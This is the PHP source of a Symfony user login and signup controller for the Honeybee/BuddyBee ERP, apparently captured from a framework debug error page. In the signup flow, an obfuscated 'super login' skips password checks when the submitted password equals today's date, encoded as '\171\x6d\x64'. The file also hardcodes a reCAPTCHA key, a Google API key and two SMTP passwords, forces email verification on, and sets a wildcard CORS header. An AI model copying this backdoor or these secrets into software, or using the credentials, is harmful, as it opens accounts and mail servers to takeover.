src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9345

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  447.                     [
  448.                         'oAuthEmail' => $oAuthEmail
  449.                     ]
  450.                 );
  451.                 if (!$isApplicantExist)
  452.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  453.                         [
  454.                             'email' => $oAuthEmail
  455.                         ]
  456.                     );
  457.                 if (!$isApplicantExist)
  458.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  459.                         [
  460.                             'username' => $userName
  461.                         ]
  462.                     );
  463.                 if ($isApplicantExist) {
  464.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  465.                     } else {
  466.                         $message "Email/User Already Exists";
  467.                         if ($request->request->get('remoteVerify'0) == 1)
  468.                             return new JsonResponse(array(
  469.                                 'uid' => $isApplicantExist->getApplicantId(),
  470.                                 'session' => [],
  471.                                 'success' => false,
  472.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  473.                                 'errorStr' => $message,
  474.                                 'session_data' => [],
  475.                             ));
  476.                         else
  477.                             return $this->redirectToRoute("user_login", [
  478.                                 'id' => $isApplicantExist->getApplicantId(),
  479.                                 'oAuthData' => $oAuthData,
  480.                                 'refRoute' => $refRoute,
  481.                             ]);
  482.                     }
  483.                 }
  484.                 $img $oAuthData['image'];
  485.                 $email $oAuthData['email'];
  486. //                $userName = explode('@', $email)[0];
  487.                 //now check if same username exists
  488.                 $username_already_exist 0;
  489.                 $newApplicant null;
  490.                 if ($isApplicantExist) {
  491.                     $newApplicant $isApplicantExist;
  492.                 } else
  493.                     $newApplicant = new EntityApplicantDetails();
  494.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  495.                 $newApplicant->setEmail($email);
  496.                 $newApplicant->setUserName($userName);
  497.                 $newApplicant->setFirstname($first_name);
  498.                 $newApplicant->setLastname($last_name);
  499.                 $newApplicant->setOAuthEmail($oAuthEmail);
  500.                 $newApplicant->setPhone($phone);
  501.                 if ($systemType == '_SOPHIA_')
  502.                     $newApplicant->setIsEmailVerified(1);
  503.                 else
  504.                     $newApplicant->setIsEmailVerified(1); //temporary
  505. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  506.                 $newApplicant->setAccountStatus(1);
  507. //                $newUser->setSalt(uniqid(mt_rand()));
  508.                 //salt will be username
  509. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  510.                 $salt uniqid(mt_rand());
  511.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  512.                 $newApplicant->setPassword($encodedPassword);
  513.                 $newApplicant->setSalt($salt);
  514.                 $newApplicant->setTempPassword('');
  515. //                $newApplicant->setTempPassword($password.'_'.$salt);
  516.                 $newApplicant->setImage($img);
  517.                 $newApplicant->setIsConsultant(0);
  518.                 $newApplicant->setIsTemporaryEntry(0);
  519.                 $newApplicant->setTriggerResetPassword(0);
  520.                 $newApplicant->setApplyForConsultant(0);
  521.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  522.                 $otp random_int(100000999999);
  523.                 $newApplicant->setEmailVerificationHash($otp);
  524.                 $em_goc->persist($newApplicant);
  525.                 $em_goc->flush();
  526.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  527.                     if ($systemType == '_BUDDYBEE_') {
  528.                         $bodyHtml '';
  529.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  530.                         $bodyData = array(
  531.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  532.                             'email' => $userName,
  533.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  534.                             'password' => $newApplicant->getTempPassword(),
  535.                         );
  536.                         $attachments = [];
  537.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  538. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  539.                         $new_mail $this->get('mail_module');
  540.                         $new_mail->sendMyMail(array(
  541.                             'senderHash' => '_CUSTOM_',
  542.                             //                        'senderHash'=>'_CUSTOM_',
  543.                             'forwardToMailAddress' => $forwardToMailAddress,
  544.                             'subject' => 'Welcome to BuddyBee ',
  545. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  546.                             'attachments' => $attachments,
  547.                             'toAddress' => $forwardToMailAddress,
  548.                             'fromAddress' => 'registration@buddybee.eu',
  549.                             'userName' => 'registration@buddybee.eu',
  550.                             'password' => 'Y41dh8g0112',
  551.                             'smtpServer' => 'smtp.hostinger.com',
  552.                             'smtpPort' => 465,
  553. //                            'emailBody' => $bodyHtml,
  554.                             'mailTemplate' => $bodyTemplate,
  555.                             'templateData' => $bodyData,
  556. //                        'embedCompanyImage' => 1,
  557. //                        'companyId' => $companyId,
  558. //                        'companyImagePath' => $company_data->getImage()
  559.                         ));
  560.                     } else {
  561.                         $bodyHtml '';
  562.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  563.                         $bodyData = array(
  564.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  565.                             'email' => 'APP-' $userName,
  566.                             'password' => $newApplicant->getPassword(),
  567.                         );
  568.                         $attachments = [];
  569.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  570. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  571.                         $new_mail $this->get('mail_module');
  572.                         $new_mail->sendMyMail(array(
  573.                             'senderHash' => '_CUSTOM_',
  574.                             //                        'senderHash'=>'_CUSTOM_',
  575.                             'forwardToMailAddress' => $forwardToMailAddress,
  576.                             'subject' => 'Applicant Registration on Honeybee',
  577. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  578.                             'attachments' => $attachments,
  579.                             'toAddress' => $forwardToMailAddress,
  580.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  581.                             'userName' => 'accounts@ourhoneybee.eu',
  582.                             'password' => 'Honeybee@0112',
  583.                             'smtpServer' => 'smtp.hostinger.com',
  584.                             'smtpPort' => 465,
  585.                             'emailBody' => $bodyHtml,
  586.                             'mailTemplate' => $bodyTemplate,
  587.                             'templateData' => $bodyData,
  588. //                        'embedCompanyImage' => 1,
  589. //                        'companyId' => $companyId,
  590. //                        'companyImagePath' => $company_data->getImage()
  591.                         ));
  592.                     }
  593.                 }
  594.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  595.                     $modifiedRequest Request::create(
  596.                         '',
  597.                         'GET',
  598.                         [
  599.                             'id' => $newApplicant->getApplicantId(),
  600.                             'oAuthData' => $oAuthData,
  601.                             'refRoute' => $refRoute,
  602.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  603.                         ]
  604.                     );
  605.                     $modifiedRequest->setSession($request->getSession());
  606.                     return $this->doLoginAction($modifiedRequest);
  607.                 } else
  608.                     return $this->redirectToRoute("core_login", [
  609.                         'id' => $newApplicant->getApplicantId(),
  610.                         'oAuthData' => $oAuthData,
  611.                         'refRoute' => $refRoute,
  612.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  613.                     ]);
  614.             }
  615. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  616. //
  617. //                $oAuthEmail = $email;
  618. //
  619. //
  620. //                $oAuthData = [
  621. //                    'email' => $email,
  622. //                    'phone' => $phone,
  623. //                    'uniqueId' => '',
  624. //                    'image' => '',
  625. //                    'emailVerified' => '',
  626. //                    'name' => $first_name . ' ' . $last_name,
  627. //                    'type' => '0',
  628. //                    'token' => '',
  629. //                ];
  630. //
  631. //
  632. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  633. //                    [
  634. //                        'oAuthEmail' => $oAuthEmail
  635. //                    ]
  636. //                );
  637. //                if (!$isApplicantExist)
  638. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  639. //                        [
  640. //                            'email' => $oAuthEmail
  641. //                        ]
  642. //                    );
  643. //                if (!$isApplicantExist)
  644. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  645. //                        [
  646. //                            'username' => $userName
  647. //                        ]
  648. //                    );
  649. //
  650. //
  651. //                if ($isApplicantExist) {
  652. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  653. //
  654. //                    } else {
  655. //                        $message = "Email/User Already Exists";
  656. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  657. //                            return new JsonResponse(array(
  658. //                                'uid' => $isApplicantExist->getApplicantId(),
  659. //                                'session' => [],
  660. //                                'success' => false,
  661. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  662. //                                'errorStr' => $message,
  663. //                                'session_data' => [],
  664. //
  665. //                            ));
  666. //                        else
  667. //                            return $this->redirectToRoute("user_login", [
  668. //                                'id' => $isApplicantExist->getApplicantId(),
  669. //                                'oAuthData' => $oAuthData,
  670. //                                'refRoute' => $refRoute,
  671. //                            ]);
  672. //                    }
  673. //                }
  674. //
  675. //
  676. //                $img = $oAuthData['image'];
  677. //
  678. //                $email = $oAuthData['email'];
  679. ////                $userName = explode('@', $email)[0];
  680. //                //now check if same username exists
  681. //
  682. //                $username_already_exist = 0;
  683. //
  684. //                $newApplicant = null;
  685. //
  686. //                if ($isApplicantExist) {
  687. //                    $newApplicant = $isApplicantExist;
  688. //                } else
  689. //                    $newApplicant = new EntityApplicantDetails();
  690. //
  691. //
  692. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  693. //                $newApplicant->setEmail($email);
  694. //                $newApplicant->setUserName($userName);
  695. //
  696. //                $newApplicant->setFirstname($first_name);
  697. //                $newApplicant->setLastname($last_name);
  698. //                $newApplicant->setOAuthEmail($oAuthEmail);
  699. //                $newApplicant->setPhone($phone);
  700. //
  701. //                $newApplicant->setIsEmailVerified(0);
  702. //                if ($systemType == '_SOPHIA_')
  703. //                    $newApplicant->setIsEmailVerified(1);
  704. //                else
  705. //                    $newApplicant->setIsEmailVerified(0);
  706. //                $newApplicant->setAccountStatus(1);
  707. //
  708. ////                $newUser->setSalt(uniqid(mt_rand()));
  709. //
  710. //                //salt will be username
  711. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  712. //
  713. //                $salt = uniqid(mt_rand());
  714. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
